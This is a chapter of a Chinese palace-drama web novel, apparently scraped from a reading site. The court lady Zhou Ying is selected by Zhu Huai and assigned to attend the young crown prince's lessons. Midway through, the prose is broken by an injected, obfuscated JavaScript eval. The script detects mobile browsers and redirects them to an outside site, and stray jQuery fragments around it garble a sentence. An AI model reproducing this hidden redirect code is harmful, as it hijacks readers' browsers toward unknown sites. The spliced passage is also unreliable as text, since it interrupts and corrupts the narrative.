自此事后，周缨愈发谨慎，真正将崔述和祝淮两度提点的“用心为要”刻进了心里，断不敢再犯任何错误，课业上进步愈发明显。


    时日一久，汪尚服见她时，面色也稍霁了些。


    她本一直忐忑不安，至此才慢慢安下心来，得有闲暇之时，常随处取材，用竹枝树叶做些精致的小玩意儿给同伴们送去。


    为还她的情，众人也设法省下些灯油偷偷拿给她，倒令她得了便利，再不用去庭院中受冻，也有足够的灯油支撑她挑灯夜战。


    预想中的不适应虽有，但却并不强烈，导致她在这一个月里，很少去回想来玉京后的这一年多，无论是净波门外的清静日子，还是崔府里锦衣玉食的生活，将全副心思都放在了习艺学识上。


    日子竟似比先前过得还要快，一直到考校开始，周缨才恍然意识到，她竟已跨进宫墙一月有余，也在那间低矮逼仄的小屋里住了将近一月了。


    七门功课一一考校完毕，众人得了一日的休沐，虽也不过是被安排扫洒院落，但一日三课的紧迫感倏然消散，众女笑语叽喳地在院中闹作一团，惹得东廊下小屋中的汪浅皱了皱眉。


    她已对着那对极具巧思的银丝竹叶耳珰沉思了许久。


    正当此时，祝淮带着一小瓶温颜粉进了门。


    汪尚服将耳珰收起，祝淮眼尖，玩笑道：“也不用藏，我知道你属意谁。”


    “听你这意思，要同我抢了？”汪浅露出一个不大和善的笑。


    祝淮便笑说：“咱俩争了这些年，往年旧主在，总是你得脸，而今章皇后入主中宫，点了我总理此次女官擢选事宜，总算是让我扳回一成。”


    “你今日是来耀武扬威的？”汪浅将放耳珰的匣子往怀中一揣，起身要走，“既如此，拼上我这张老脸，我也得去向章皇后禀明，她就是司饰的苗子，倘若跟你混迹故纸堆，她未必畅快不说，也埋没了她这双巧手。”


    祝淮拉住她衣袖，轻轻将头枕上她的左肩，语气放得极为柔和：“姐姐，就让妹妹一次吧。”


    汪浅一愣，冷声斥道：“你做什么？少来这套。”拂袖甩开她的手，却到底没有走开一步。


    “咱们姐妹同批进宫，迄今已经相伴整整十三年了。”祝淮仍旧低低说着，“先皇后好饰，又嫌少府监那帮粗人蠢笨不合心意，偏你有颗玲珑心与一双巧手，便将制饰之责也一并划与了尚服局，你也因此得了多少看重与赏赉。往年女官中总是你说一不二，这么些年下来已搜罗了多少好苗子，周缨手再巧，总敌不过你手底下这么多调教成熟的能手。


    “可我身边，你也知道，新主入宫后，虽给我拨了不少新人，但得力的却始终还是只有一直跟着我的纫兰，自她染上恶疾亡故，我身边便一直少了个能帮衬得上的可心人儿。”


    汪浅没出声，扭头瞧着外面。


    冬阳透过窗棂在她脸上洒下淡淡光斑，在她眼角晕开一点不易觉察的红。


    “你也知道，章皇后重读书教授之事，我如今肩上事不少，实是焦头烂额。近来有份急差，旧人里思来想去也挑不出个合适的人选，这一批新人里，我也都仔细瞧过了，独她韧性强些，且自尊好强，又踏实用心，还算勉强能胜任。”


    祝淮声音压得低：“我知道，我是总理此事不得不亲自来，你却也肯亲来授课，其实是存了和我相斗的心思，想在新主面前夺回些地位。只是这件差事实是有些急，皇后也重视得紧，随意糊弄恐怕交不了差，还会受到责难。旁的我都不与姐姐争，任凭姐姐先选，独她，还望姐姐让让我。”


    轻浅的呼吸将汪浅的心拉扯得不成样，挣扎半晌，她将祝淮撇开，一言不发地开门离去。


    祝淮注视着她的背影，眼里淌出淡淡的戚然。


    外院嘈杂的洒扫声、人声悄然退场，只余淡淡的光影随日头移动，留下一片斑驳。


    这日头再次自东跃升起时，结果公布，祝淮依言点了周缨并其余三人作尚仪局女史，汪浅则将表现最优的六人尽数收入囊中，沈思宁得偿所愿，随尚食做事。


    众人道过别，随上司各奔前程，周缨与另三人一并随祝淮穿过永巷前往新住所。


    尚仪局的值房在与外朝相接的永遇门内东侧廊庑，居所则在内西门附近的掖庭中。


    祝淮单独为她安排了一间僻静的房间，推开窗可以看到一株银杏树，这时节正落叶，地上黄灿灿的一片。


    周缨喜形于色，一转头瞥见尚仪正沉沉地看着自己，忙敛了神情，福身道：“谢尚仪。”


    祝淮微微点头：“知我为何选你么？”


    周缨埋首：“请尚仪指教。”


    “本次入选四十余人，学识胜于你者逾半，初试时的排名便能说明，包括我所选的另外三人，亦比你强些。”


    祝淮见她将头垂得更低，轻笑了一声：“但我有一晚见你于庭院温书，寒风相逼，亦不释卷。故令你于禁屋长住，让你有一个安静的读书之所，好在你未让我失望，这一月间的进益我都看在眼里，还算差强人意。”


    周缨惶恐抬头，又倏然垂下眼，只说：“我已知晓此道非己所长，但仍执意为之，破局之法，也唯有笃行不倦这一条了。”


    祝淮赞许点头：“你有一股旁人没有的劲儿，若用得好，兴许能走得更远。”将两刀纸笺放至桌案上，又说，“学识暂且不论，你的字实在差得有些远，竟似只有两三年之功。”


    周缨将头埋得更低，耳垂轻微发烫。


    “好生练字，不可懈怠。每日下值后练够至少半个时辰，第二日上值前放于我案上，我会每日亲自检查。”


    “是。”


    祝淮睨她一眼，淡说：“我手底下并不缺寻常做事之人，深宫年岁长，并不急于这一时，不指望你现下就能立即帮上我大忙。但眼下手上倒确实有一件差事，预备安排给你。事情不算太难，但磨人心性，你们四人之中，由你来做更合适。


    “东宫殿下开蒙课已习完，不日将受傅。但殿下年幼，目前仍随章皇后居于景和宫，暂未开设詹事府，一应事由皆由章皇后安排六尚代行。因思虑殿下前往外朝上课不便，圣上与皇后议定后，传旨在永遇门外明德殿设讲堂，目下正缺一名展书官，你便暂担此职。”


    周缨难掩讶异，即便东宫暂未开府暂无属官，这样的差使应也是内侍之责，而非女官可任。但初来乍到，秉持多听少问的准则，便没有出声相询。


    祝淮没有察觉她的异样，继续将此差使的职责与她讲来：“需于课前备好笔墨书籍，并于课上随时听候殿下与讲官差遣。若明德殿书籍有缺，或侍讲学士与殿下有需，即时令人去外朝藏经楼取回，万不可延误。


    “就这一件小差，难在除每旬及节庆休沐日外，每日风雨不误，殿下不歇，你不能懈怠，更不能出现任何差池，尤其是再有迟到误事的情况。”


    祝淮盯她一眼，警告她：“上回不过女官内部教习，你虽迟了，汪尚服也只是轻罚，若耽误了殿下的课业，便不是可轻松翻过篇的了，我也保不住你。你且将时辰记到脑子里，便是忘了你自己姓甚名谁，也不能忘记每日巳时开课，你需至少提前两刻到场准备，可记清楚了？”


    “谢尚仪提点，我记住了，万不敢忘。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321533|183129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>祝淮继续交代道：“另外，殿下年纪太小，章皇后会亲自监督功课，你需记录侍讲学士所授并殿下所对之内容，交与殿下的贴身女官带回景和宫。”


    “尚仪，我的字恐目前还入不得眼。”


    “无妨。章皇后宽厚，你的字虽论起书法来算不得优秀，但工整可辨，你且认真些，注意记载内容不得有错漏，更不得歪曲讲官们的意思即可。”


    祝淮凛然正色，替她将先前之惑解开：“这差事说简单也简单，说难也难，务必好生把握。只一点，殿下虽暂未出阁，但按惯例侍读之责应由内侍省担任，是章皇后金口玉言力排众议，才替尚仪局博来这个机会，你不能出错，以免负皇后信任。”


    周缨再辞不得，只得应下。


    “圣上正在斟酌太子少师人选，等降完旨，待少师领侍讲学士议定好教本学程，便会立即开课，你预先准备起来，今日先整理居所，明日我让人带你去明德殿熟悉环境。”


    祝淮想了一想，又叮嘱道：“圣上重视殿下，能给殿下授课的官员，在朝中身份地位皆不一般，你往后自行领悟。眼下只需记住，明德殿中切记礼遇，不可怠慢，更不可冲撞。”


    -


    十一月廿六，乃钦天监测定的吉日。


    东宫齐延先祭孔庙，后入明德殿受傅，国子监祭酒领众翰林受师礼，讲经筵，五品以上官员尽皆出席。


    第一日乃大讲，礼仪繁杂，东宫尚幼，未开府设詹事配属官，章皇后命六尚准备仪制，祝淮身为尚仪，少不得又得牵头此事，连带整个尚仪局都忙得天昏地暗，周缨同另外三名新人虽暂无正式的专门差使，在此关头却是极好的跑腿好手，被局内各个女官见缝插针地差遣得脚不沾地，连个囫囵觉也睡不得。


    到此大礼关头，周缨捧束脩之礼侍立在侧，小腿沉重得撑不住身子，但见祝淮身形挺立，姿仪甚雅，又强迫自个儿挺直腰脊，等待繁冗的仪式结束。


    诸礼毕，侍读学士讲《大学》首章，周缨展书完毕，于齐延侧后方的小几后跪坐下来，执笔记录。


    授课毕，圣上赐宴，群臣于永遇门外修善殿入席，尚食局亦遣人在门内祥宁殿置便席，周缨随尚仪局诸人入座，草草咽了几口，便无甚胃口，待诸位女官都用食完毕，随同退席。


    沿小径走出去半里路，小腿愈发沉重，周缨速度慢下来，被落下一段距离，忽听有人唤自个儿名字，转头往旁寻去，却见是沈思宁藏在一旁山石后，笑意盈盈地看着她。


    “你怎么在此处？”周缨往四处看看，快步走上前去，“你们这会子不是正忙。”


    “是忙，这几日忙得我晕头转向的，不过总没有你们忙，我都好些日子没见着你了。”


    沈思宁将一物塞进她手里，转身便走：“喏，你也爱吃的。方才瞧你没吃两口，垫垫肚子，以免下午饿狠了，没力气做事。我先走了啊，一会儿找不着我，又该训我了。”说罢两下消失在山石后。


    周缨低头去瞧手中的物什，被油纸包得极紧，尚还带着几分温热，油纸上印出杏花瓣的模子来，不由一笑。


    回到值房，众人都趴在桌上小憩，她边吃杏花糕，边才有心思回想起今日那一整套仪程。


    五品以上官员齐聚听讲，她却未曾瞧见崔述，不知是她眼拙，还是他有事告假。


    这几日间偶然听闻女官们讨论，前朝变动频仍，连同平章事并两位尚书这样的高官都一夕间被罢官，真个动荡不休。


    这般想着，嘴里的杏花糕亦食之无味，周缨思来想去，脑中冒出一个挥之不去的想法来——该不会，他又被降职了吧？